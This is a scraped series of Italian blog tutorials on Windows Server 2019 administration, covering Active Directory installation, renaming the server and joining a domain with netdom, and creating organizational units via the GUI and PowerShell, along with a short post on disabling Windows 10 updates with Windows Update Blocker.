    FIG 9 - Windows Server 2019, Richiesta di riavvio a seguito cambio nome
  • Nella finestra di dialogo che appare cliccare sul pulsante Riavvia Ora;
    Windows Server 2019, Riavvio dopo cambio nome
    FIG 10 - Windows Server 2019, Riavvio dopo cambio nome
  • Dopo il riavvio, nella sezione Server locale di Server Manager, noteremo che il Nome computerè stato modificato con quello da noi inserito.
    Windows Server 2019, Nuovo nome computer
    FIG 11 - Windows Server 2019, Nuovo nome computer






Windows Server 2019: Installazione Active Directory

$
0
0
Quando si installa il sistema operativo Windows, il computer viene automaticamente aggiunto ad un gruppo di lavoro chiamato WORKGROUP (o HOME). Come visibile in figura FIG 1 anche il nostro server appena installato appartiene al gruppo di lavoro WORKGROUP.
Windows Server 2019, Gruppo di lavoro WORKGROUP
FIG 1 - Windows Server 2019, Gruppo di lavoro WORKGROUP

I computer connessi ad una rete possono essere parte di un gruppo di lavoro o di un dominio. La principale differenza tra un gruppo di lavoro e un dominio è data da come le risorse di rete vengono gestite. Generalmente i computer connessi a reti di piccole dimensioni, come quelle all'interno della propria abitazione, fanno parte di un gruppo di lavoro mentre i computer connessi a reti di grande dimensioni o di un'azienda fanno solitamente parte di un dominio. 

Per capire meglio la differenza tra un gruppo di lavoro e un dominio supponiamo di voler inibire l'accesso al Pannello di Controllo agli utenti su tutte le postazioni di una rete. 
In un gruppo di lavoro dovremmo connetterci, come amministratore, su ciascuna postazione e procedere all'impostazione manualmente. 
In un dominio tutte le impostazioni possono essere gestite centralmente attraverso un software, presente sui server, chiamato Active Directory. Tramite Active Directory è possibile, ad esempio, fare anche in modo che un determinato utente possa eseguire il logon solo su una determinata workstation dell'azienda, specificare a che ora l'utente può effettuare il login sulle postazioni, personalizzare lo sfondo delle postazioni di un particolare dipartimento dell'azienda, ecc. Un'altro caso in cui è utile utilizzare il dominio è nella distribuzione del software. Supponiamo di dover installare MS Office su tutti i computer dell'azienda. Possiamo effettuare tale operazione attraverso le group policy e utilizzando un dominio (in un prossimo articolo mostrerò come effettuare tale operazione).

Prima di procedere con l'installazione del servizio Active Directory facciamo un po' di chiarezza su alcuni termini

Workgroup
Un gruppo di lavoro è un'insieme composto da uno o più computer su una stessa rete locale o subnet che non appartengono ad un dominio. Tutti i computer sono alla pari e indipendenti e non esiste un computer che ha il controllo sugli altri. Ciascun computer dispone di un insieme di account utente e, per poter utilizzare tutti i computer di un gruppo di lavoro, è necessario disporre di un account utente su ciascun computer.

Dominio
Un dominio è la massima unità amministrativa su una rete di computer e può essere considerato come un insieme di oggetti (account utente, computer, unità organizzative, stampanti, ecc) che condividono lo stesso database consentendo notevoli vantaggi nella gestione delle risorse IT. La stessa Microsoft definisce il dominio come un insieme di computer che condividono un database di risorse di rete e che vengono amministrati come un'unità con regole e procedure comuni. 
Uno o più computer della rete sono server. Gli amministratori del dominio utilizzano i server per gestire la sicurezza e i permessi di tutti i computer/account/risorse del dominio (gestione centralizzata tramite Active Directory). 
Gli utenti che dispongono di un account di dominio possono eseguire l'accesso su tutti i computer del dominio (salvo eventuali restrizioni imposte dagli amministratori) senza che sia già presente un account locale sulla postazione. I computer possono essere su reti diverse e un dominio può a sua volta far parte di un dominio di livello superiore. 

Domain Controller
Il Domain Controllerè un server con installato Windows Server e Active Directory Domain Services che, all'interno del dominio, gestisce le richieste di autenticazione relative alla sicurezza (login, controllo permessi, abilitazioni, ecc) e permette l'organizzazione della struttura del dominio gestendo utenti, gruppi, computer, unità organizzative, risorse di rete, ecc. Il server su cui è installato Active Directory che gestisce il dominio di livello superiore è definito Primary Domain Controller.


Servizi di dominio Active Directory
Active Directory Domain Services (AD DS) è un servizio integrato nei sistemi operativi Windows Server ma non viene installato di default. Affinché un server possa essere promosso a Domain Controllerè necessario installare Active Directory Domain Services, il relativo database e altre funzionalità necessarie al suo corretto funzionamento. Ciascun controller di dominio dispone di una copia locale del database Active Directory che viene aggiornata dinamicamente dagli stessi domain controller. Dato che tutti i sistemi di un dominio fanno riferimento ad Active Directoryè opportuno avere almeno due controller di dominio a fini di ridondanza; in questo modo se un controller di dominio presenta problemi o non si avvia, l'intera infrastruttura continua a funzionare.

Foresta
Una Forestaè una singola istanza di Active Directory. All'interno di una Forestaè possibile avere uno o più domini che condividono lo stesso schema. Un singolo dominio su un singolo Domain Controller rappresenta la più piccola Foresta che è possibile creare. La Forestaè indicata anche come recinto di sicurezza in cui gli utenti, i computer e altri oggetti sono accessibili.

Catalogo Globale (Global Catalog)
Un catalogo globale contiene tutte le informazioni relative al suo dominio più le informazioni relative agli altri domini della foresta. Risiede sui controller di dominio che sono stati abilitati come server del catalogo globale e i dati sono distribuiti attraverso la replica di Active Directory. Un Domain Controller configurato come Global Catalog conserva, oltre alla intera partizione del suo dominio, alle partizioni schema e configuration della foresta anche una replica parziale e di sola lettura delle partizioni degli altri domini. Esiste un unico Global Catalog all'interno di una Foresta ma ci sono più copie distribuite tra i domain controller. Un Global Catalog oltre ad essere usato dai client per le ricerche in Active Directory, fornisce anche altri servizi come ad esempio fornire riferimenti ad altri oggetti in diversi domini, la risoluzione dei nomi principali degli utenti (UPN) e l'universal group membership caching.




Installazione ruolo Servizi di dominio Active Directory

Nell'articolo Windows Server 2019: Installazione sono stati mostrati i passaggi per l'installazione di Windows Server 2019. Affinché il server sia funzionale non basta la semplice installazione del sistema operativo ma bisogna attribuirgli un ruolo all'interno della rete. In Windows Server 2019 possiamo gestire ruoli e funzionalità attraverso il Server Manager. I ruoli forniscono un servizio specifico ai client come Servizi di dominio Active Directory, server DNS, server DHCP, server web, ecc. Le funzionalità, invece, sono generalmente software che supportano i ruoli ma non forniscono servizi ai client. Quando si installa un ruolo server spesso viene automaticamente proposta l'installazione delle funzionalità aggiuntive richieste. Alcuni esempi di funzionalità sono: .NET Framework 4.6, BitLocker Drive, Crittografia, Failover Clustering e Windows Server Backup.

Per creare e gestire il nostro primo dominio dobbiamo procedere all'installazione del ruolo Servizi di dominio Active Directory sul nostro server.
Come indicato precedentemente, il modo più semplice per assegnare un ruolo al server è quello di procedere tramite il Wizard di Server Manager:
  • Nella finestra di Server Manager cliccare sulla sezione Dashboard;
  • Cliccare su Aggiungi ruoli e funzionalità per avviare il Wizard che ci guiderà nelle operazioni;
    Windows Server 2019, Server Manager, Aggiungi ruoli e funzionalità
    FIG 2 - Windows Server 2019, Server Manager, Aggiungi ruoli e funzionalità
  • Il Wizard fornisce alcune informazioni preliminari sull'installazione/rimozione dei ruoli e funzionalità. Cliccare su Avanti.
    Windows Server 2019, Aggiungi ruoli e funzionalità operazioni preliminari
    FIG 3 - Windows Server 2019, Aggiungi ruoli e funzionalità operazioni preliminari
  • Il passo successivo consiste nel selezionare il tipo di installazione desiderato: possiamo scegliere tra installare ruoli e funzionalità su un server oppure installare una specifica risorsa sull'infrastruttura VDI. Selezionare l'opzione Installazione basata su ruoli o basata su funzionalità e cliccare su Avanti per proseguire.
    Windows Server 2019, Installazione basata su ruoli o basata su funzionalità
    FIG 4 - Windows Server 2019, Installazione basata su ruoli o basata su funzionalità
  • In questo passaggio possiamo selezionare su quale server installare i ruoli e le funzionalità. Al momento abbiamo un unico server quindi proseguire cliccando su Avanti.
    Windows Server 2019, Selezione server di destinazione
    FIG 5 - Windows Server 2019, Selezione server di destinazione
  • Dall'elenco dei ruoli, selezionare l'opzione Servizi di dominio Active Directory.
    Windows Server 2019, Ruoli server, Servizi di dominio Active Directory
    FIG 6 - Windows Server 2019, Ruoli server, Servizi di dominio Active Directory
  • Apparirà una nuova finestra che avvisa l'utente sulla necessità di installare ulteriori ruoli e funzionalità per il corretto funzionamento dei Servizi di dominio Active Directory. Cliccare su Aggiungi funzionalità.
    Windows Server 2019, Aggiungere le funzionalità necessarie per Servizi di dominio Active Directory
    FIG 7 - Windows Server 2019, Aggiungere le funzionalità necessarie per Servizi di dominio Active Directory
  • Si ritorna alla schermata precedente. Cliccare su Avanti per proseguire.
    Windows Server 2019, Ruoli server
    FIG 8 - Windows Server 2019, Ruoli server
  • Nel passaggio successivo ci viene data la possibilità di installare ulteriori funzionalità se necessario ma al momento possiamo passare oltre cliccando su Avanti.
    Windows Server 2019, Funzionalità
    FIG 9 - Windows Server 2019, Funzionalità
  • Nella nuova schermata vengono fornite informazioni sui ruoli/funzionalità che si sta installando. Un buon suggerimento è quello di avere almeno due controller di dominio per ogni dominio (in un prossimo articolo mostrerò come aggiungere un nuovo domain controller all'infrastruttura). Cliccare su Avanti.
    Windows Server 2019, Servizi di dominio Active Directory
    FIG 10 - Windows Server 2019, Servizi di dominio Active Directory
  • Ci viene mostrato un resoconto su tutte le funzionalità che verranno installate. Cliccare sul pulsante Installa per proseguire e attendere che l'installazione venga portata a termine.
    Windows Server 2019, Conferma selezioni per l'installazione
    FIG 11 - Windows Server 2019, Conferma selezioni per l'installazione

    Windows Server 2019, Stato installazione
    FIG 12 - Windows Server 2019, Stato installazione
  • Con l'installazione completata dei Servizi Active Directory il passo successivo consiste nel promuovere il server a Domain controller. L'operazione può essere eseguita sia cliccando sull'apposito link Alza di livello il server a controller di dominio (FIG 13) che ci viene mostrato dopo l'installazione del servizio Active Directory sia utilizzando il link che ritroviamo cliccando sull'icona delle notifiche (FIG 14).
    Windows Server 2019, Alza di livello il server a controller di dominio
    FIG 13 - Windows Server 2019, Alza di livello il server a controller di dominio

    Windows Server 2019, Alza di livello il server a controller di dominio
    FIG 14 - Windows Server 2019, Alza di livello il server a controller di dominio
  • Una volta cliccato sul link Alza di livello il server a controller di dominio verrà visualizzata una nuova procedura guidata con 3 opzioni:
    1. Aggiungi un controller di dominio a un dominio esistente;
    2. Aggiungi un nuovo dominio a una foresta esistente;
    3. Aggiungi una nuova foresta.
    Trattandosi del nostro primo dominio l'opzione da selezionare è Aggiungi una nuova foresta. Nell'apposita casella va inserito il nome del dominio radice che di intende creare. Il nome va inserito nel formato simile al Fully Qualified Domain Name (FQDN) e sarà composto da due parti: il nome vero e proprio e un suffisso separati da un punto (ad es. forest.com, azienda.com, miodominio.local). Generalmente per i domini che non devono essere visibili dall'esterno si preferisce utilizzare il suffisso .local. Digitare il nome del dominio radice (in FIG 15 è stato inserito mycompany.local) che si intende creare quindi cliccare su Avanti per proseguire. Il nome del dominio inserito sarà anche quello della foresta.
    Windows Server 2019, Aggiungi una nuova foresta
    FIG 15 - Windows Server 2019, Aggiungi una nuova foresta
  • Il passo successivo consiste nello specificare le opzioni del controller di dominio. Le prime impostazioni sono relative al livello di funzionalità della foresta e del dominio. I software Active Directory installati su più server dell'infrastruttura devono essere compatibili tra loro: se all'interno della foresta c'è un server Domain Controller con installato Windows Server 2012 R2 allora gli altri server devono avere un livello di funzionalità compatibile con tale versione. Al momento la versione più recente del livello di funzionalità è Windows Server 2016. Dato che useremo solo server Windows Server 2019 all'interno dell'infrastruttura, selezioniamo Windows Server 2016 come livello di funzionalità per la foresta e il dominio.  Le successive tre opzioni consentono di specificare le funzionalità del controller di dominio: Server DNS (Domain Name System), Catalogo globale, Controller di dominio di sola lettura. Per il Domain Controller è necessario che sia presente un Server DNS (Domain Name System). Active Directory dipende fortemente dal DNS in quanto registra tutti i tipi di record di servizio (SRV) nel DNS per localizzare servizi specifici necessari per il suo corretto funzionamento. Il server DNS può essere installato anche su altre macchine della rete ma è preferibile che sia installato su un Domain Controller. Nel nostro caso lasciamo selezionata l'opzione Server DNS (Domain Name System). Oltre al DNSè necessario installare anche il catalogo globale (Global Catalog). Come visibile in figura l'opzione relativa al Catalogo globale non può essere disattivata in quanto fondamentale per il corretto funzionamento del nostro Domain Controller. La casella Controller di dominio di sola lettura consente di creare una copia di sola lettura del database di Active Directory su un server ubicato in un posto non del tutto sicuro. Trattandosi del primo Domain Controller l'opzione è disattivata: il primo controller di dominio all'interno dell'infrastruttura non può essere di sola lettura (Read Only Domain Controller o RODC). In questa fase viene anche richiesto di specificare e confermare la password da utilizzare in caso di ripristino dei servizi directory (Directory Services Restore Mode o DSRM). Una volta specificate le opzioni/impostazioni cliccare su pulsante Installa.
    Windows Server 2019, Opzioni controller di dominio
    FIG 16 - Windows Server 2019, Opzioni controller di dominio
  • Nella successiva schermata appare un messaggio che ci avvisa sull'impossibilità di creare una delega per il server DNS in quanto non è definita una zona padre. Il messaggio non rappresenta un vero problema dato che sul server non disponiamo ancora del servizio DNS. Il DNS server verrà installato automaticamente con l'installazione di Active Directory e il problema verrà risolto. Cliccare su Avanti per proseguire.
    Windows Server 2019, Opzioni DNS
    FIG 17 - Windows Server 2019, Opzioni DNS
  • Il passo seguente consiste nel settare il nome NetBIOS del dominio. NetBIOS consente alle applicazioni che si trovano su diversi computer, di comunicare tra loro. Accettare il NetBIOS domain name suggerito e cliccare su Avanti.
    Windows Server 2019, Nome di dominio NetBIOS
    FIG 18 - Windows Server 2019, Nome di dominio NetBIOS
  • A questo punto il Wizard consente di specificare il percorso in cui salvare il database di Active Directory, il file di log e il percorso per la cartella condivisa SYSVOL. In ambiente di produzione generalmente è preferibile salvare tali informazioni in uno o più dischi dedicati formattati come NTFS. La cartella condivisa SYSVOL viene utilizzata per condividere informazioni come script ed elementi relativi agli oggetti Group Policy (in AD tutti gli elementi sono considerati oggetti) tra i Domain Controller. Come tutti i grandi Database anche Active Directoryè composto da un file principale e un file di log che tiene traccia delle transazioni. Le modifiche effettuate al database vengono prima scritte all'interno del file di log e successivamente riportate all'interno del database. Se il server dovesse per qualche motivo spegnersi nel bel mezzo di una modifica, al successivo avvio del server Active Directory può utilizzare il file di log per assicurarsi che il database sia in uno stato coerente. Nel nostro caso non modifichiamo l'impostazione di default e proseguiamo cliccando su Avanti.
    Windows Server 2019, Percorsi file Active Directory
    FIG 19 - Windows Server 2019, Percorsi file Active Directory
  • Nella fase Verifica opzioni viene mostrato un riepilogo delle impostazioni selezionate nei passaggi precedenti. Presa visione delle opzioni, cliccare su Avanti per procedere.
    FIG 20 - Windows Server 2019, Verifica opzioni
  • Nella fase Controllo dei prerequisiti del Wizard viene eseguita una verifica sui prerequisiti necessari alla promozione del server a controller di dominio. Se vengono rispettati i prerequisiti è possibile cliccare sul pulsante Installa per l'installazione del software.
    Windows Server 2019, Controllo dei prerequisiti
    FIG 21 - Windows Server 2019, Controllo dei prerequisiti
    Windows Server 2019, Installazione Active Directory
    FIG 22 - Windows Server 2019, Installazione Active Directory
  • Al termine dell'installazione il server verrà riavviato. Nella schermata di logon noteremo che adesso accediamo come amministratore di dominio (mycompany\Administrator) e non come amministratore locale. Eseguire il logon inserendo la password dell'utente Administrator.
    Windows Server 2019, Logon come amministratore di dominio
    FIG 23 - Windows Server 2019, Logon come amministratore di dominio
  • In Server Manager noteremo che sono stati aggiunti due servizi: DNS e Servizi di dominio Active Directory.
    Server Manager, nuovi ruoli
    FIG 24 - Server Manager, nuovi ruoli




L'installazione di Active Directory sul nostro server è terminata. In un prossimo articolo su Windows Server 2019 illustrerò come creare un unità organizzativa.





Articoli precedenti

Windows Server 2019: Installazione
Windows Server 2019: Impostazione IP statico e nome Server







Windows 10: Disabilitare gli aggiornamenti automatici tramite il tool Windows Update Blocker

$
0
0
In Windows 10è stata inibita agli utenti la possibilità di disattivare gli aggiornamenti del sistema operativo. Se da una parte questo consente di avere sempre un sistema aggiornato, protetto ed efficiente dall'altra può rappresentare un grosso problema in alcuni contesti dove un'aggiornamento può provocare malfunzionamenti con vecchie applicazioni o rallentamenti nella produttività. In questi casi può essere utile poter disabilitare gli aggiornamenti e abilitarli quando lo si ritiene più opportuno. Per effettuare tale operazione bisognerebbe bloccare e disabilitare i servizi relativi aWindows Update (operazione non alla portata di tutti). Il modo più semplice per raggiungere tale scopo consiste nell'utilizzo del tool Windows Update Blocker dello sviluppatore Sordum. Si tratta di un freeware portable, dunque non richiede alcuna installazione. Basta scaricarlo dal sito www.sordum.org ed avviare l'eseguibile. Per disabilitare gli aggiornamenti di Windows Update basta selezionare le opzioni Disabilita servizio e Impostazioni Protezione Servizio e cliccare sul pulsante Applica Adesso.
Windows Update Blocker, Disabilitare Windows Update
FIG 1 - Windows Update Blocker, Disabilitare Windows Update

Cliccando sul pulsante menu e selezionando Service List Options è possibile controllare anche altri servizi del sistema operativo.
Windows Update Blocker, Service List Options
FIG 2 - Windows Update Blocker, Service List Options

Per aggiungere ulteriori servizi all'elenco basta inserirli all'interno del file wub.ini accodandoli alla sezione [Service_List].

Windows Update Blocker, Wub.ini
FIG 3 - Windows Update Blocker, Wub.ini




Windows Server 2019: Modificare il nome del server da riga di comando con netdom

$
0
0
Nell'articolo Windows Server 2019: Impostazione IP statico e nome Serverè stato mostrato come modificare il nome del server tramite GUI. Lo stesso risultato può essere ottenuto agendo tramite il prompt dei comandi e utilizzando il comando netdom:
  • All'interno del menu Start digitare cmd. Cliccare con il tasto destro su Prompt dei comandi e selezionare Esegui come amministratore.
    Windows Server 2019, Prompt dei comandi (Amministratore)
    FIG 1 - Windows Server 2019, Prompt dei comandi (Amministratore)
  • Dal Prompt dei comandi, per visualizzare il nome corrente attribuito al server eseguire il comando
    HOSTNAME
  • Per modificare il nome del server è possibile utilizzare il comando netdom. La sintassi del comando è la seguente
    netdom /renamecomputer <nome computer attuale> /newname:<nome computer desiderato>
    ad es
    netdom /renamecomputer Server1DC /newname:ServerUfficio
    Un messaggio avvisa l'utente che alcuni servizi, come Autorità di certificazione, si basano sul nome del computer e la modifica di quest'ultimo può comportare il mancato funzionamento del servizio. Se siamo consapevoli di ciò che stiamo facendo proseguiamo rispondendo S al messaggio di conferma.
    Windows Server 2019, Modifica nome server tramite netdom
    FIG 2 - Windows Server 2019, Modifica nome server tramite netdom
  • L'operazione viene portata a termine in pochi secondi ma è necessario riavviare il sistema per renderla effettiva. Una volta riavviato il sistema ed eseguito il logon noteremo il nuovo nome mostrato all'interno della finestra Server Manager.
    Windows Server 2019, Server Manager nuovo nome server
    FIG 3 - Windows Server 2019, Server Manager nuovo nome server



Articoli precedenti

Windows Server 2019: Installazione
Windows Server 2019: Impostazione IP statico e nome Server





Windows Server 2019: Join al dominio da riga di comando tramite netdom

$
0
0
Oltre alla rinomina del server, come visto nell'articolo Windows Server 2019: Modificare il nome del server da riga di comando con netdom, il comando netdom può essere utilizzato anche per la join del server ad un dominio esistente. La sintassi del comando è la seguente
netdom join <nome del server da unire al dominio> /Domain:<dominio a cui eseguire la join> /UserD:<account del dominio abilitato per eseguire la join al dominio> /PasswordD:*

Se il nostro dominio è mycompany.local e il nome del server da unire al dominio è server2 il comando da eseguire sarà
netdom join server2 /Domain: mycompany.local/UserD:mycompany\administrator /PasswordD:*

Eseguendo il comando, dal prompt dei comandi come amministratore, verrà richiesta la password dell'account del dominio abilitato ad eseguire la join (mycompany/Administrator). Completata l'operazione il server dovrà essere riavviato.
Windows Server 2019, Join al dominio da riga di comando tramite Netdom
FIG 1 - Windows Server 2019, Join al dominio da riga di comando tramite Netdom
Per riavviare il server automaticamente dopo la modifica è possibile passare a netdom il parametro /reboot
netdom join server2 /Domain: mycompany.local/UserD:mycompany\administrator /PasswordD:* /reboot

In Active Directory vedremo che il server2 è stato aggiunto ai Computer appartenenti al dominio.
Active Directory, Computer appartenenti al dominio
FIG 2 - Active Directory, Computer appartenenti al dominio




Articoli precedenti

Windows Server 2019: Installazione
Windows Server 2019: Impostazione IP statico e nome Server

Windows Server 2019: Creare un'unità organizzativa (Organizational Unit)

$
0
0
Una grande azienda è generalmente suddivisa in diversi dipartimenti come Direzione, Vendite, Acquisti, Ricerca & Sviluppo, ecc. L'organizzazione degli oggetti in Active Directory può rispecchiare tale schema suddividendo e organizzando gli oggetti di un dominio come utenti, gruppi di utenti e computer in dei container chiamati unità organizzative.
Come suggerisce il nome, le unità organizzative sono una sorta di contenitori utilizzati per organizzare gli oggetti all'interno di Active Directory. Le unità organizzative vengono utilizzate principalmente per formare una gerarchia di contenitori all'interno di un dominio a scopo amministrativo come ad esempio per l'applicazione dei Criteri di gruppo o per delegare il controllo. Il controllo su un'unità organizzativa e sugli oggetti in essa contenuti viene fornita tramite liste di controllo degli accessi (access control list o ACL). La delega del controllo supportata in Active Directory consente di trasferire il controllo amministrativo completo o limitato sugli oggetti ad altri utenti o gruppi. In questo modo è possibile distribuire la gestione di un numero elevato di oggetti ad una serie di utenti ritenuti attendibili

In questi articolo andremo a creare due unità organizzative: una relativa Direzione e l'altra relativa all'ufficio Marketing.
Ci sono due strumenti che è possibile utilizzare per la creazione di unità organizzative: Utenti e Computer di Active Directory e Centro di amministrazione di Active Directory.


Creazione unità organizzativa tramite Utenti e Computer di Active Directory 

  1. Da Server Manager cliccare sul menu Strumenti e selezionare Utenti e Computer di Active Directory (Active Directory Users and Computers). In alternativa premere la combinazione di tasti WIN+R digitare dsa.msc e premere invio.
    Server Manager, Strumenti, Utenti e computer di Active Directory
    FIG 1 - Server Manager, Strumenti, Utenti e computer di Active Directory
  2. Espandere il dominio della propria azienda (mycompany.local) per visualizzare i container e le unità organizzative in esso contenute;
  3. Cliccare con il tasto destro del mouse sul nome del dominio e, dal menu contestuale, selezionare Nuovo quindi Unità organizzativa.
    Utenti e computer di Active Directory, nuova unità organizzativa
    FIG 2 - Utenti e computer di Active Directory, nuova unità organizzativa
  4. Inseriamo il nome da assegnare all'unità organizzativa, ad es. Direzione, e assicuriamoci che sia selezionata l'opzione Proteggi contenitore da eliminazioni accidentali (l'opzione è attiva di default) quindi cliccare su OK per procedere alla creazione.
    Utenti e computer di Active Directory, Nome unità organizzativa
    FIG 3 - Utenti e computer di Active Directory, Nome unità organizzativa
All'interno dell'unità organizzative appena creata, crearne altre due: una relativa agli utenti e l'altra relativa ai computer. 
  1. Cliccare con il tasto destro sull'unità organizzativa Direzione, selezionare Nuovo quindi Unità organizzativa
  2. Assegnare il nome Utenti all'unità organizzativa e cliccare su OK per confermare. 
  3. Cliccare nuovamente con il tasto destro sull'unità organizzativa Direzione, selezionare Nuovo, Unità organizzativa
  4. Assegnare il nome Computer all'unità organizzativa e cliccare su OK per confermare. 


Ripetere i passaggi sopra indicati per l'unità organizzativa nominata Marketing.
Unità Organizzative Direzione e Marketing
FIG 4 - Unità Organizzative Direzione e Marketing



Rimuovere la protezione da eliminazione accidentale tramite Utenti e Computer di Active Directory

L'opzione Proteggi contenitore da eliminazioni accidentali impedisce la cancellazione accidentale dell'unità organizzativa.
Provando a cancellare un'unità organizzativa protetta dalle cancellazione viene visualizzato il messaggio mostrato in FIG 5. 
Tentativo eliminazione UO protetta da eliminazione accidentale
FIG 5 - Tentativo eliminazione UO protetta da eliminazione accidentale

Per poter cancellare un'unità organizzativa protetta da eliminazione accidentale è necessario prima rimuovere la protezione:

  • Dal menu Visualizza di Utenti e computer di Active Directory selezionare Funzionalità avanzate.
    Utenti e computer di Active Directory, Funzionalità avanzate
    FIG 6 - Utenti e computer di Active Directory, Funzionalità avanzate
  • Cliccare, con il tasto destro del mouse, sull'unità organizzativa che si intende cancellare (ad es. Direzione\Computer) e selezionare Proprietà.
    Utenti e computer di Active Directory, Proprietà unità organizzativa
    FIG 7 - Utenti e computer di Active Directory, Proprietà unità organizzativa
  • Nella finestra di dialogo relativa alle Proprietà, selezionare la scheda Oggetto e rimuovere la spunta alla casella Proteggi oggetto da eliminazioni accidentali quindi cliccare su OK.
    Rimozione protezione eliminazione accidentale dell'unità organizzativa
    FIG 8 - Rimozione protezione eliminazione accidentale dell'unità organizzativa
  • Dopo tale operazione l'unità organizzativa può essere eliminata normalmente.


Creazione unità organizzativa tramite Centro di amministrazione di Active Directory 

  1. Da Server Manager cliccare sul menu Strumenti e selezionare Centro di amministrazione di Active Directory. In alternativa premere la combinazione di tasti WIN+R, digitare dsac.exe e premere invio.
    Windows Server 2019, Centro di amministrazione di Active Directory
    FIG 9 - Windows Server 2019, Centro di amministrazione di Active Directory
  2. Cliccare con il tasto destro del mouse sul dominio e dal menu contestuale selezionare Nuovo quindi Unità organizzativa.
    Centro di amministrazione di Active Directory, nuova unità organizzativa
    FIG 10 - Centro di amministrazione di Active Directory, nuova unità organizzativa
  3. Inserire il nome da assegnare all'unità organizzativa, ad es. Direzione, e verificare che sia selezionata l'opzione Proteggi contenitore da eliminazioni accidentali (l'opzione è attiva di default) quindi cliccare su OK per procedere alla creazione.
    Centro di amministrazione di Active Directory, Crea unità organizzativa
    FIG 11 - Centro di amministrazione di Active Directory, Crea unità organizzativa 
  4. Selezionare l'UO Direzione appena creata, cliccarci su con il tasto destro del mouse e selezionare Nuovo, Unità organizzativa.
    Creazione nuova unità organizzativa
    FIG 12 - Creazione nuova unità organizzativa 
  5. Come nome dell'unità organizzativa digitare Computer e cliccare su OK
  6. Cliccare nuovamente con il tasto destro del mouse su Direzione e creare una nuova unità organizzativa nominandola Utenti.

Ripetere i passaggi precedenti per per l'unità organizzativa nominata Marketing.




Rimuovere la protezione da eliminazione accidentale tramite Centro di amministrazione di Active Directory

Per rimuovere la protezione da eliminazione accidentale di un'unità organizzativa tramite Centro di amministrazione di Active Directory:
  • Cliccare con il tasto destro sull'unità organizzativa su cui si intende eseguire l'operazione e, dal menu contestuale, selezionare Proprietà.
    Centro di amministrazione di Active Directory, Proprietà unità organizzativa
    FIG 13 - Centro di amministrazione di Active Directory, Proprietà unità organizzativa
  • Rimuovere la selezione all'opzione Proteggi da eliminazioni accidentali e cliccare su OK.
    Centro di amministrazione di Active Directory, Rimozione protezione da eliminazione accidentale unità organizzativa
    FIG 14 - Centro di amministrazione di Active Directory, Rimozione protezione da eliminazione accidentale unità organizzativa



Articoli precedenti







Windows Server 2019: Creare un'unità organizzativa tramite PowerShell

$
0
0
Windows Server 2019 è stato rilasciato con integrato Powershell 5.1. L'ultima versione di PowerShellè, al momento, la 6.0 che può essere installata sia in Windows Server 2019 che in Windows 10.
PowerShell integra numerosi comandi che possono essere utilizzati, tra le altre cose, per controllare/configurare i server all'interno di un dominio. Sui server domain controller risulteranno già installati le estensioni PowerShell relative ad Active Directory che ci consentiranno di creare una nuova unità organizzativa. 

Per verificare la versione di Powershell installata sul server
  • Cliccare con il tasto destro del mouse sul menu Start o premere la combinazione di tasti Win+X e cliccare su Windows PowerShell (amministratore).
  • Eseguire il comando
    $PSVersionTable.PSVersion
Windows Server 2019, Versione PowerShell
FIG 1 - Windows Server 2019, Versione PowerShell


Lightweight Directory Access Protocol e Distinguished Name

Prima di mostrare come aggiungere una nuova unità organizzativa tramite PowerShellè necessario fare un accenno veloce ad alcuni argomenti come LDAP e DN.
Active Directory utilizza il protocollo Lightweight Directory Access Protocol (LDAP) per le interrogazioni. Per identificare in maniera univoca un oggetto all'interno di Active Directory, LDAP utilizza il Distinguished Name (DN). Il formato utilizzato da DN per identificare un oggetto è tipo_oggetto=Nome_oggetto e più oggetti sono separati da virgola.
Ad es. il dominio mycompany.localè composto da due componenti di dominio (mycompany e local) e da DN vengono rappresentati come oggetti di tipo DC (domain component) nel seguente modo
dc=mycompany,dc=local

Le unità organizzative sono oggetti di tipo OU (organizational unit) mentre i container Users e Computers vengono identificati come tipo CN (common name).

L'unità Organizzativa Direzione creata nell'articolo Windows Server 2019: Creare un'unità organizzativa (Organizational Unit) ha il seguente DN:
ou=Direzione,dc=mycompany,dc=local

Il container Users viene identificato dal Distinguished Name
cn=Users,dc=mycompany,dc=local

Un account utente con nome Elmer.Fudd presente all'interno dell'unità organizzativa Utenti in Direzione avrà il seguente DN
cn=Elmer.Fudd,ou=Utenti,ou=Direzione,dc=mycompany,dc=local

Dopo questo doveroso chiarimento, vediamo come procedere alla creazione di una nuova unità organizzativa tramite PowerShell.



Creazione di una nuova unità organizzativa mediante PowerShell

Per creare una nuova UO con nome Vendite all'interno del nostro dominio basta eseguire da PowerShell il comando
New-ADOrganizationalUnit –Name Vendite –Server server1DC.mycompany.local –Path "DC=mycompany,DC=local"

Parametri
-Name specifica il nome della UO da creare.
-Server specifica il domain controller dove si intende creare l'UO
-Path a tale parametro va passato il percorso (Distinguished Name) in cui creare l'unità organizzativa.


come visibile da FIG 2 e FIG 3 , l'unità organizzativa specificata è stata creata correttamente. 
Windows Server 2019, Creazione nuova OU tramite PowerShell
FIG 2 - Windows Server 2019, Creazione nuova OU tramite PowerShell

Windows Server 2019, Nuova OU creata tramite PowerShell
FIG 3 - Windows Server 2019, Nuova OU creata tramite PowerShell

Il fatto che tali operazioni possano essere eseguite da PowerShell consente la creazione di script per automatizzare l'operazione.





Articoli precedenti

Windows Server 2019: Installazione 
Windows Server 2019: Impostazione IP statico e nome Server 
Windows Server 2019: Installazione Active Directory 
Windows Server 2019: Modificare il nome del server da riga di comando con netdom 
Windows Server 2019: Join al dominio da riga di comando tramite netdom 
Windows Server 2019: Creare un'unità organizzativa (Organizational Unit)




Viewing all 725 articles
Browse latest View live